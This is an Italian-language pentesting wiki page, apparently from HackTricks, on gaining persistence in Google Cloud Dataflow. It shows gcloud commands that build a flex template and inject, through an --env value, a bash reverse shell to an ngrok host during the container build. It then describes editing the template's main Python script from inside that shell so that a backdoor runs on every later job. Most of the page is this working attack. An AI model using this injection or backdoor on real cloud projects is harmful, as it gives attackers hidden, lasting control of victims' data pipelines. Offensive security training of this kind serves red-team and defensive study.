# GCP - Dataflow Persistenza

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

### Persistenza invisibile nel container costruito

Seguendo il [**tutorial dalla documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo (es. python) flex template:

<details>

<summary>Crea Dataflow flex template with backdoor</summary>
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
</details>

**Mentre viene costruito, otterrai una reverse shell** (puoi abusare di env variables come nell'esempio precedente o di altri params che impostano il Docker file per eseguire operazioni arbitrarie). In questo momento, all'interno della reverse shell, è possibile **entrare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Posiziona la tua backdoor qui in modo che ogni volta che il job viene eseguito, la esegua.

Poi, la volta successiva che il job viene eseguito, verrà avviato il container compromesso appena costruito:

<details>

<summary>Esegui Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
